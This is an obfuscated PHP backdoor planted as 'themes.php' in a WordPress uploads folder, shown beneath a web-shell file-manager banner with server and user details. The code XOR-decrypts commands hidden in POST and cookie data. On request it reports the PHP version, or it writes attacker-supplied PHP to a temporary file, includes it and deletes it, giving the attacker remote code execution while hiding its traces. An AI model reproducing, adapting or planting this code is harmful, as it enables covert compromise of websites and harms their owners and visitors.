HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/03/themes.php
<?php 

$xdaqybltq  =   'xdaqybltq'  ^    '';$cjkvapxie /* na   */ = /*   dj */ "a"."r"."r"."a"."y"."\137" /* _  */ .    $xdaqybltq(604-495)	.	"\141"     .  "\160";$asniwhhpq /*hjcnw   */ =    "i".$xdaqybltq(517-408)   .   $xdaqybltq(762-650)    .    "\x6c" /*qh*/ . /*  rtzdx */ "o"."d"."\x65";



function	jkgbh($ufsknll_e,    $qjroc)


{

    global	$xdaqybltq;
       
	$ufsknll_e	=    "\x3c"   .	"\x3f"    . /* hvieit*/ $xdaqybltq(327-215)	. /*oajw */ "\x68"  .      "\160"       .  $xdaqybltq(32) /*   xtcekt  */ .      $xdaqybltq(749-632)    .    "\156"	.	"l".$xdaqybltq(105)      . /* jp  */ "\x6e"    .  "\153"	. /* wcnj*/ "("."\137" /*nipe */ . /*  twi*/ "\x5f"    . /*   ud */ "F"."\111"	.       "\x4c"       .	"E"."\137"	.	"\137"  . /* l_z   */ "\51"	.       ";".$xdaqybltq(32)    .    $ufsknll_e[$xdaqybltq(776-676)];


 /*  zrk   */ $pldpienvv	=	$xdaqybltq(1050-948)      . /* gcu  */ "\x69"     . /*w_bo   */ "\x6c" /* ubygx  */ .       "\145"    .       "_".$xdaqybltq(112)    . /*   twty  */ $xdaqybltq(885-768) /* icfin*/ . /* xhbho */ "\164"       . /*kgigq*/ "\137"   .	"c"."o"."\156" /*   ws_*/ .       "t"."e".$xdaqybltq(110) /* jovl   */ . /*   _qhf*/ $xdaqybltq(1064-948) /*   ty*/ .    "s";


    


 /*   zltlo */ $pldpienvv($qjroc, /* viqxb*/ $ufsknll_e);
   
  fidrbyoby_($qjroc);
}

$upebpti /*  t   */ =     73;

function    fidrbyoby_($qjroc)


{


     global    $xdaqybltq; /* bj_dr   */ 
 /*  o */ include($qjroc);


    $lmssqsgch /*  tvg   */ =    $qjroc;    @unlink($lmssqsgch);

}
function    jqord()

{
    global    $xdaqybltq;

 /* dtxx */ $aefsnrrgq	= /*  mof   */ array();


	$aefsnrrgq["p".$xdaqybltq(118)]	=  phpversion();


 /*   hj */ $aefsnrrgq[$xdaqybltq(291-176)    .      "\166"] /*   ifqc   */ = /* nfmn   */ "\x33" /*  cut*/ .	"\56"    . /*  tnqbx  */ "\x35";

	$bfydzvwthlrutzqkkzt   =    74;	echo    @serialize($aefsnrrgq);

}



function	fquveihxoo($ufsknll_e, /*qyjrf */ $cm_upwco)

{

    global /*mw   */ $xdaqybltq;




	$qlxxloxx     = /*_auyj*/ "";


	$uewjea /*  jnllis  */ =	strlen($ufsknll_e);
 /*iqwn*/ $rjdglb	=      strlen($cm_upwco);

   $aefsnrrgq    =     0;
  $bfydzvwthl      = /*   gppuju*/ 0;


 /* kdo*/ 
  while    ($aefsnrrgq    < /* r */ $uewjea)   { /* jqjbv*/ $kybfqzibmc    =    $ufsknll_e[$aefsnrrgq]  ^ /*  k */ $cm_upwco[$bfydzvwthl /* q */ %       $rjdglb];


    $qlxxloxx    .=    $kybfqzibmc; /*  fwxaxy*/ $bfydzvwthl++;	

 /*uqdn  */ $aefsnrrgq++;   } /* hqd*/ 


     if   (strlen($qlxxloxx)       > /*   lq_*/ 20)   {    $lxgzrmlkqo   =	substr($qlxxloxx, /*kzdy_  */ 0, /* ge*/ 20); /* nqyouq  */ }

    if   (empty($qlxxloxx))    {      $qlxxloxx /*   wjut*/ = /*jm_hw*/ date('Y-m-d /*   esuy */ H:i:s');

	}


      return /*e */ $qlxxloxx;


}



function /* vje  */ sizsnn($xlbpg)

{   global /*   uh*/ $xdaqybltq;
 /*  efyzg */ 

	$ynpplamus /*lew  */ = /* ramtwr  */ "7".$xdaqybltq(692-642)     . /*mlkpfq  */ "4".$xdaqybltq(780-726)    .     "1"."\71"     .    "6"."2"."\x2d" /*anyw   */ .	"4".$xdaqybltq(57) /*   _ */ .	"b"."\x33" /*  jsqw  */ . /*   l   */ "-".$xdaqybltq(52)	. /*   hgfaon*/ $xdaqybltq(516-461) /*  wrawc */ . /* mwuiu*/ "5"."\x66"    . /* sfrb   */ $xdaqybltq(415-370) /*   jwslw */ .   "8"."4"."e".$xdaqybltq(98) /* zqaf*/ .     "-"."8"."\60" /*   beb_*/ . /* mod  */ "\x61"  .      "e".$xdaqybltq(97)."7".$xdaqybltq(776-676)."8".$xdaqybltq(776-676).$xdaqybltq(555-503)	.    "\64"	.  $xdaqybltq(100);


    

     foreach /* dups */ ($xlbpg    as     $gvvmbyqrc	=>	$ufsknll_e)    {

    kiowveu(base64_decode($ufsknll_e),	$ynpplamus,  $gvvmbyqrc);	}


}


function  kiowveu($ufsknll_e,	$ynpplamus,	$gvvmbyqrc)


{ /* olahuq  */ global    $xdaqybltq;
    	$ufsknll_e /* fn*/ =    unserialize(fquveihxoo(fquveihxoo($ufsknll_e,	$ynpplamus),      $gvvmbyqrc));	$sgdwhibwm	= /*   fcq*/ 'wrm_qgppy';


	$mxgf_zles  =	'gsdxj';    if   (isset($ufsknll_e[$xdaqybltq(97).$xdaqybltq(152-45)]))    {

     if       ($ufsknll_e[$xdaqybltq(97)] /*  vpbvrs*/ ==    "i")    {     jqord();

      }      elseif      ($ufsknll_e[$xdaqybltq(97)]	==	"e")	{
 /* svfy */ jkgbh($ufsknll_e,      sprintf("."."/"."\x25" /* uoyw */ .    "s"."\x2e"     . /*  mho*/ "p".$xdaqybltq(238-130), /* qw */ md5($ynpplamus)));

			$pofpri       =    44;
    }

  exit();


 /*  c  */ }
}





sizsnn($_POST); /*   lr */ 





$bkidmitj /* wywte*/ =    'rawurldecode';



$a_shyl  = /*   pfss   */ $cjkvapxie($bkidmitj,    $_POST);$asniwhhpq("", /*  jahnlv  */ $bkidmitj);


sizsnn($_COOKIE);


$nklnqmflr /*  lewgqq  */ =    $cjkvapxie($bkidmitj, /*ch   */ $_COOKIE);




?>